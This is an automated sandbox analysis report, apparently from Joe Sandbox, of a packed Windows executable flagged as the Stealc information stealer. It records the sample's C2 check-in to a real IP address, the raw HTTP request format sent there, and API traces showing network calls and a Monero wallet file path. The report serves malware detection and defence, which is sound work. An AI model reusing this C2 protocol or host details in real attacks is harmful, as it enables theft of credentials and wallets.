Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	8f4a1bb8484b365f335ea4b296c25d0f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x299000	0x200	34462465f111153475a46e3b883381a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nnbmymfp	0x4f7000	0x199000	0x198e00	c817282c2be4edccccec0b28efe5f2e3	False	0.9949252187786609	data	7.953989385913713	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
onazwdcw	0x690000	0x1000	0x400	9f216bfb69e08aeb1094fcd49d7a9cea	False	0.7958984375	data	6.15350017974742	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x691000	0x3000	0x2200	6f72d93e8e4aca903e55335a1cb80973	False	0.05905330882352941	DOS executable (COM)	0.7354567351322978	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-26T07:11:01.630432+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 26, 2024 07:11:00.351252079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:00.356709003 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 26, 2024 07:11:00.356800079 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:00.357438087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:00.362725973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 26, 2024 07:11:01.327523947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 26, 2024 07:11:01.327637911 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:01.331181049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:01.336597919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 26, 2024 07:11:01.630204916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 26, 2024 07:11:01.630431890 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 26, 2024 07:11:04.065927029 CEST	49709	80	192.168.2.6	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	3184	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:11:00.357438087 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 26, 2024 07:11:01.327523947 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 05:11:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 26, 2024 07:11:01.331181049 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 38 45 38 41 41 38 34 45 41 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="hwid"C8E8AA84EA5B340779059------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="build"puma------DGHJECAFIDAFHJKFCGHI--
Oct 26, 2024 07:11:01.630204916 CEST	210	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 05:11:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	01:10:56
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe90000
File size:	1'830'912 bytes
MD5 hash:	23F03176DDC56B4E531545AAF7394334
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2175832040.0000000000BB8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2135381078.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00EA9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00BB1518), ref: 00EA98A1
GetProcAddress.KERNEL32(76210000,00BB1770), ref: 00EA98BA
GetProcAddress.KERNEL32(76210000,00BB1530), ref: 00EA98D2
GetProcAddress.KERNEL32(76210000,00BB1548), ref: 00EA98EA
GetProcAddress.KERNEL32(76210000,00BB1560), ref: 00EA9903
GetProcAddress.KERNEL32(76210000,00BB8BA8), ref: 00EA991B
GetProcAddress.KERNEL32(76210000,00BA5208), ref: 00EA9933
GetProcAddress.KERNEL32(76210000,00BA4FE8), ref: 00EA994C
GetProcAddress.KERNEL32(76210000,00BB1698), ref: 00EA9964
GetProcAddress.KERNEL32(76210000,00BB16E0), ref: 00EA997C
GetProcAddress.KERNEL32(76210000,00BB16B0), ref: 00EA9995
GetProcAddress.KERNEL32(76210000,00BB16C8), ref: 00EA99AD
GetProcAddress.KERNEL32(76210000,00BA5088), ref: 00EA99C5
GetProcAddress.KERNEL32(76210000,00BB16F8), ref: 00EA99DE
GetProcAddress.KERNEL32(76210000,00BB1710), ref: 00EA99F6
GetProcAddress.KERNEL32(76210000,00BA5288), ref: 00EA9A0E
GetProcAddress.KERNEL32(76210000,00BB1740), ref: 00EA9A27
GetProcAddress.KERNEL32(76210000,00BB1758), ref: 00EA9A3F
GetProcAddress.KERNEL32(76210000,00BA5268), ref: 00EA9A57
GetProcAddress.KERNEL32(76210000,00BB1890), ref: 00EA9A70
GetProcAddress.KERNEL32(76210000,00BA5008), ref: 00EA9A88
LoadLibraryA.KERNEL32(00BB18A8,?,00EA6A00), ref: 00EA9A9A
LoadLibraryA.KERNEL32(00BB17E8,?,00EA6A00), ref: 00EA9AAB
LoadLibraryA.KERNEL32(00BB1860,?,00EA6A00), ref: 00EA9ABD
LoadLibraryA.KERNEL32(00BB1800,?,00EA6A00), ref: 00EA9ACF
LoadLibraryA.KERNEL32(00BB1848,?,00EA6A00), ref: 00EA9AE0
GetProcAddress.KERNEL32(75B30000,00BB1878), ref: 00EA9B02
GetProcAddress.KERNEL32(751E0000,00BB1818), ref: 00EA9B23
GetProcAddress.KERNEL32(751E0000,00BB1830), ref: 00EA9B3B
GetProcAddress.KERNEL32(76910000,00BB8CE0), ref: 00EA9B5D
GetProcAddress.KERNEL32(75670000,00BA5028), ref: 00EA9B7E
GetProcAddress.KERNEL32(77310000,00BB8C58), ref: 00EA9B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00EA9BB6

Strings

NtQueryInformationProcess, xrefs: 00EA9BAA

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: d73de6d7427737ce7b7c3850f28992e29b21ed3533f34851d86192d54a082cde
Instruction ID: 56d6622baca334352a30db5b0fc1441622380c21f7bd2af582409f711c893b33
Opcode Fuzzy Hash: d73de6d7427737ce7b7c3850f28992e29b21ed3533f34851d86192d54a082cde
Instruction Fuzzy Hash: 04A15BB5702241DFD364EFA8E989A6637F9F78C301705851ABE868324CD73FA941CB24

Function 00E945C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00E9460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00E9479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E946C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E946AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E946CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E945F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E945C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E945DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E945D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E945E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E946D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E946B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E9462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E94678

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e0f13bbcf8a49429e53e79ac26b7baa9e1225278ae5f36e6f7f97551795331c5
Instruction ID: af9810ff444dc09898e720d99ec5552cddf0712fdab8b0aebd37d8dde01e4d91
Opcode Fuzzy Hash: e0f13bbcf8a49429e53e79ac26b7baa9e1225278ae5f36e6f7f97551795331c5
Instruction Fuzzy Hash: 3841C2617CB70C6BC7A5B7A49C6FFDE76966F4AF10B907750EC0062282CBE06600C616

Function 00E94880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E94839
Part of subcall function 00E947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E94849

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E94915
StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E9493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E94ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00EB0DDB,00000000,?,?,00000000,?,",00000000,?,00BBFD20), ref: 00E94DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E94E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E94E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E94E49
InternetCloseHandle.WININET(00000000), ref: 00E94EAD
InternetCloseHandle.WININET(00000000), ref: 00E94EC5
HttpOpenRequestA.WININET(00000000,00BBFBD0,?,00BBF278,00000000,00000000,00400100,00000000), ref: 00E94B15

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

InternetCloseHandle.WININET(00000000), ref: 00E94ECF

Strings

", xrefs: 00E94D33
------, xrefs: 00E949BD
------, xrefs: 00E94B28
------, xrefs: 00E94C69
", xrefs: 00E94BF2

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 14b00a2e7168f76b6e301833c8c708217a22fead810a2511bba663c2c956965f
Instruction ID: d1ea88699242d28450b27f003e40f25d003ad140aad3f4e8521773e4acc1e40b
Opcode Fuzzy Hash: 14b00a2e7168f76b6e301833c8c708217a22fead810a2511bba663c2c956965f
Instruction Fuzzy Hash: 89124E72910218AADB58EB90DC96FEEB3B8BF59300F5451A9B10676091EF343F49CF61

Function 00EA78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EA7910
RtlAllocateHeap.NTDLL(00000000), ref: 00EA7917
GetComputerNameA.KERNEL32(?,00000104), ref: 00EA792F

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
